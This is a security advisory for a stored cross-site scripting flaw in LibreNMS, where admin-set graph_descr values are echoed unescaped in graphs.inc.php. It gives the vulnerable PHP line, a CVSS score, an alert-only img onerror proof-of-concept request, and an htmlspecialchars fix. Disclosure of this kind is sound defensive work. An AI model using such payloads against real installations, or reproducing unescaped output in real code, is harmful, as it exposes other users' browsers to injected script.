LibreNMS: Stored XSS via graph_descr admin config settings echoed without escaping to all authenticated users

Summary

### Summary The `graph_descr.<graphtype>` family of settings is echoed verbatim without `htmlspecialchars()` in `includes/html/pages/graphs.inc.php:194`. Any admin can store a malicious HTML payload that executes in every authenticated user's browser viewing that graph type. ### CVSS `CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N` — **4.8 Medium** ### Details ```php // graphs.inc.php:194 echo LibrenmsConfig::get('graph_descr.' . $vars['type']); ``` ### PoC ``` PUT /settings/graph_descr.device_processor {"value": "<img src=x onerror=\"alert('ADV-15')\">"} GET /graphs?type=device_processor → <img src=x onerror="alert('ADV-15')"> ``` ### Fix ```php echo htmlspecialchars(LibrenmsConfig::get('graph_descr.' . $vars['type']), ENT_QUOTES, 'UTF-8'); ``` ### Prerequisite Admin session to set the config value.